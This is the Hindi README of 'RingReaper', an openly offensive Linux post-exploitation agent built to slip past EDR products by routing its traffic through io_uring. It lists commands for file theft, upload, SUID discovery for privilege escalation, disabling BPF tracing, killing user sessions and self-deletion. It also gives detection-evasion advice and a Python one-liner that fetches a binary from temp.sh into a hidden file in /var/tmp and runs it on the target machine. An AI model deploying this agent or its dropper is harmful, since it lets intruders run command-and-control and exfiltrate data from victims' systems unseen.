
Linux पोस्ट-एक्सप्लॉइटेशन एजेंट जो पारंपरिक syscalls से बचकर EDR डिटेक्शन को चुपके से बायपास करने के लिए io_uring का उपयोग करता है।
RingReaper लिनक्स के लिए एक सरल पोस्ट-एक्सप्लॉइटेशन एजेंट है, जो उन लोगों के लिए डिज़ाइन किया गया है जिन्हें गुप्त रूप से कार्य करने की आवश्यकता होती है, ताकि EDR समाधानों द्वारा पहचाने जाने की संभावना को न्यूनतम किया जा सके। इस प्रोजेक्ट के पीछे का विचार लिनक्स कर्नेल में नया एसिंक्रोनस I/O इंटरफ़ेस io_uring का लाभ उठाना था, विशेष रूप से उन पारंपरिक सिस्टम कॉल्स से बचने के लिए जिन्हें अधिकांश EDR मॉनिटर या हुक करते हैं।
व्यवहार में, RingReaper read, write, recv, send, connect आदि कॉल्स को एसिंक्रोनस I/O ऑपरेशन्स (io_uring_prep_*) से बदल देता है, जिससे हुक्स और इवेंट ट्रेसिंग के संपर्क में कमी आती है, जिन्हें आमतौर पर सुरक्षा उत्पादों द्वारा मानकीकृत तरीके से एकत्र किया जाता है।
नोट: RingReaper के कुछ फ़ंक्शन अभी भी पारंपरिक कॉल्स पर निर्भर करते हैं, जैसे डायरेक्टरी रीडिंग (
opendir,readdir) या सिम्बोलिक लिंक रिज़ॉल्यूशन (readlink), क्योंकि io_uring इन प्रकार के ऑपरेशनों को नेटिव रूप से अभी तक पूरी तरह समर्थित नहीं करता। फिर भी, मेरे परीक्षणों के दौरान, इन कॉल्स ने परीक्षण किए गए EDRs पर कोई अलर्ट ट्रिगर नहीं किया, ठीक इसलिए क्योंकि वे मॉनिटर किए गए नेटवर्क I/O पाथ के दायरे से बाहर आती हैं।
संक्षेप में, RingReaper को पारंपरिक कॉल्स से जितना संभव हो उतना बचने के लिए बनाया गया था, और यहां तक कि जहां उसे उनका उपयोग करना पड़ा, वहां भी इसने उत्कृष्ट एवेज़न क्षमताओं का प्रदर्शन किया, सामान्य सुरक्षा एजेंटों से कोई अलर्ट या डिटेक्शन नहीं हुआ।
पूरा और विस्तृत लेख यहां देखें:
https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
लेखक: https://www.linkedin.com/in/mathsalves/
रूटकिट रिसर्चर्स
RingReaper में, नियंत्रण कमांड, अपलोड और डाउनलोड सहित सभी डेटा ट्रैफिक को io_uring से गुजरना होगा। यह यह भी सुनिश्चित करता है कि सबसे संवेदनशील ऑपरेशन पारंपरिक कॉल्स पर आधारित हुक्स और EDR मॉनिटरिंग की रडार से बाहर रहें।
RingReaper को शुरू से ही EDR मॉनिटरिंग को बायपास करने के लिए डिज़ाइन किया गया था। कई सुरक्षा समाधान अपने डिटेक्शन ट्रिगर्स को कर्नेल स्तर पर क्लासिक syscalls (read, recv, send, connect) को इंटरसेप्ट करने पर आधारित करते हैं। चूंकि io_uring अपेक्षाकृत नया है और इन उत्पादों की टेलीमेट्री पाइपलाइन में कम एकीकृत है, यह अक्सर अधिकांश एजेंटों द्वारा ध्यान नहीं दिया जाता है, जिससे अलर्ट ट्रिगर किए बिना C2 सत्र और डेटा एक्सफिलट्रेशन संभव हो पाता है।
यहां तक कि पुराने syscalls पर निर्भर रहने वाले फ़ंक्शन (जैसे डायरेक्टरी रीडिंग) भी अलार्म न बजाने के लिए पर्याप्त रूप से गुप्त बने रहे।
liburing लाइब्रेरीनिम्नलिखित कर्नेल संस्करणों पर केवल परीक्षण किया गया;
sudo apt install liburing-dev -y
gcc agent.c -o agent -luring -O2 -s -static
परीक्षण के दौरान, मैंने देखा कि EDR ने GCC उपयोग की रीयल-टाइम निगरानी करके agent.c के संकलन का पता लगा लिया (बेहतर है कि wget/curl का उपयोग न किया जाए)। इसे बायपास करने के लिए, मैंने एजेंट को अपनी मशीन पर स्टैटिक रूप से संकलित किया, तैयार बाइनरी को temp.sh के माध्यम से भेजा, और लक्ष्य मशीन पर इसे डाउनलोड और निष्पादित करने के लिए Python का उपयोग किया। यह तकनीक बिना किसी चेतावनी के काम कर गई।
सर्वर (अटैक बॉक्स) :
curl -F "file=@agent" https://temp.sh/uploadpython3 server.py --ip IP --port 443एजेंट (लक्ष्य मशीन) :
python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"संस्करण 2.0:
बेझिझक पुल रिक्वेस्ट बनाएं और प्रोजेक्ट में योगदान दें। RingReaper में कोई भी त्रुटि होने पर, कृपया एक issue बनाएं और हमें रिपोर्ट करें।
यह कोड विशेष रूप से शैक्षिक उद्देश्यों, अनुसंधान और एवेज़न तकनीकों के नियंत्रित प्रदर्शनों के लिए विकसित किया गया था। अधिकृत वातावरण के बाहर कोई भी उपयोग, या दुर्भावनापूर्ण उद्देश्यों के लिए, सख्त वर्जित है और पूरी तरह से उपयोगकर्ता की जिम्मेदारी है। अनधिकृत या अवैध उपयोग स्थानीय, राष्ट्रीय या अंतर्राष्ट्रीय कानूनों का उल्लंघन कर सकता है।
| कमांड | विवरण | बैकएंड |
|---|
get | लक्ष्य से फ़ाइलें देखें | 100% io_uring |
put | फ़ाइलें अपलोड करें (एजेंट साइड पर recv का उपयोग करता है) | 100% io_uring |
killbpf | ट्रेसिंग अक्षम करें, /sys/fs/bpf फ़ाइलें हटाएं और bpf-map का उपयोग करने वाली प्रक्रियाओं को समाप्त करें | पारंपरिक कॉल्स + io_uring |
users | utmp पढ़कर लॉग-इन उपयोगकर्ताओं की सूची बनाएं | 100% io_uring |
ss / netstat | /proc/net/tcp से TCP कनेक्शन सूचीबद्ध करें | 100% io_uring |
privesc | statx का उपयोग करके SUID बाइनरी खोजें | 100% io_uring |
ps | प्रक्रियाओं की सूची बनाएं (opendir, readdir का उपयोग करता है) | पारंपरिक कॉल्स + io_uring |
kick | pts सत्र समाप्त करें (opendir, readdir, kill, readlink का उपयोग करता है) | पारंपरिक कॉल्स + io_uring |
me | PID/TTY दिखाएं (getpid, ttyname) | पारंपरिक कॉल्स + io_uring |
selfdestruct | वर्तमान बाइनरी हटाएं (readlink का उपयोग करता है) | पारंपरिक कॉल्स + io_uring |
exit | कनेक्शन समाप्त करें और बाहर निकलें | 100% io_uring |
help | सहायता प्रदर्शित करें | 100% io_uring |